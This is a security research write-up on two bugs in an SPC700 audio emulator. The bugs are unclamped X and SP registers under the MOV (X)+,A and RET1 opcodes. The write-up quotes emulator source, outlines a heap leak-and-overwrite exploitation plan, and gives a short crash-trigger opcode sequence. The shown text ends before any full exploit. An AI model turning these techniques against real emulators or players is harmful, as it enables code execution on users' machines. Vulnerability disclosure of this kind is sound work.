<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The Ricoh 5A22 processor instruction set will look immediately familiar to those who have coded a little bit of 6502 assembly. The </span><a href="https://en.wikipedia.org/wiki/Ricoh_5A22" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">5A22</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is based on a </span><a href="https://en.wikipedia.org/wiki/WDC_65816/65802" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">65C816</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> processor, which is itself based on the </span><a href="https://en.wikipedia.org/wiki/MOS_Technology_6502" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">6502</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. So you’re still looking at a 64kB address space, three main 8-bit registers (A, X and Y), etc. But there are also some new instructions that can affect 16 bits of data, or multiple registers at once (oh the luxury)! There are even instructions to directly perform multiplication and even division.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">1: Missing X register value clamp for the MOV (X)+,A instruction</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(CESA-2016-0012)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is one of the new, better-than-6502 instructions. It does two things with the single opcode 0xAF: write the value of the A register to the memory location indicated by the X register, and then increment this X register. The code is simple enough, from </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Cpu.h</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> case 0xAF: // MOV (X)+,A</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> WRITE_DP( 0, x, a + no_read_before_write );</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> x++;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> goto loop;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">And contrast this with the code for the similar opcode 0xBF, which does a read instead of a write:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> case 0xBF:{// MOV A,(X)+</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int temp = x + dp;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> x = (uint8_t) (x + 1);</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> a = nz = READ( -1, temp );</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> goto loop;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">As can be seen, it is normal to clamp the value of the X register to an 8-bit unsigned value, after modifying it in some way. Curiously, the 0xAF opcode appears to be the only place this is missed.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This lack of clamping wouldn’t be a problem, but for the fact that the X register is </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">not</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> defined as a uint8_t on the local stack frame:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> int x = m.cpu_regs.x;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Various references in the code suggest that this might be for performance because even Intel is slower for non-machine-word-width instructions. Thanks, Intel, I guess?)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">At first glance, this appears to be a readily exploitable bug, then. Just hammer out a bunch of 0xAF opcodes in a row and eventually the X register will become so large that the write to the memory location referred to by X will be out of bounds. If only it were that simple. We’ll revisit this in the next section.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">2: Missing SP register value clamp for the RET1 instruction</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(CESA-2016-0013)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is another new instruction that does a couple of things: first it restores the flags register from the stack and then restores the instruction pointer from the stack, like this:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> case 0x7F: // RET1</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> temp = *sp;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> SET_PC( GET_LE16( sp + 1 ) );</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> sp += 3;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> goto set_psw;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Again, this code is curious because it appears to be the only modification of the SP register that does not implement appropriate clamping. The SP register is supposed to range from 0x00 to 0xff, representing “next push” stack pointer positions of virtual memory addresses 0x100 - 0x1ff. The </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sp</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> local variable actually maintains the stack pointer as a raw host heap uint8_t* pointer. So by setting SP to 0xff and then issuing opcode 0x7F, we end up with an effective SP register value of 0x102. Furthermore, once you’ve over-incremented the SP register, further stack pushes and pops do not get stopped. The code only checks for the exact SP wrap around boundary values, for example for a PUSH:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#define PUSH( data )\</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{\</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> *--sp = (uint8_t) (data);\</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if ( sp - ram == 0x100 )\</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> sp += 0x100;\</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">}</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">So we can also envisage that this is a very exploitable bug: use RET1 to get the stack pointer out of bounds; then use POPs to increment the stack pointer until it gets somewhere interesting in the host heap -- using the POPped stack values to leak host heap pointers etc.; then use PUSHes to overwrite host heap structures and pointers, perhaps with values calculated from the leaky POPs.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Well, let’s going and see if things end up so simple. (Hint: no.)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">3: Note on equivalence</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Not a vulnerability per-se, just an observation.)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">It’s worth noting that these two separate vulnerabilities are likely to have largely equivalent impact. If we can get an out-of-range SP register value, we can transfer it to the X register to get an out-of-range X register value, and visa versa. This is courtesy of the MOV X,SP and MOV SP,X instructions:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> case 0x9D: // MOV X,SP</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> x = nz = GET_SP();</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> goto loop;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> case 0xBD: // MOV SP,X</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> SET_SP( x );</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> goto loop;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Exploitation impediments</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Ok, let’s proceed with exploitation of the MOV (X)+,A issue. This should be a straightforward buffer overflow. We typically start by proving the presence of the underlying vulnerability by triggering a crash. So let’s just execute the following sequence in a test SPC file:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">AF 2F FD:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">here:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> MOV (X)+,A</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> BRA here</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Little tests like this can be cooked up by putting the desired opcode sequence at offset 0x100 in this skeleton file: </span><a href="https://security.appspot.com/security/spc/skeleton.spc" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">skeleton.spc</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">And no crash. What the blarrgg? Upon investigation in the debugger, we see that the X register definitely gets way larger than 0xff, and values are written in virtual address space at offsets greater than 0xff, but then the writes stop.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">What is going on here relates to audio chunk processing. In order to synchronize the processor and the audio generation, the processor is run for a little bit (typically 32768 cycles) and then the audio generator routine is run to generate waveforms based on whatever values the CPU has been banging into the audio hardware registers. All fine so far. But in between these little 32768 cycle runs of CPU, the CPU register state is saved to the heap and then restored to stack variables next time around. Here’s the code that implements saving to heap:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
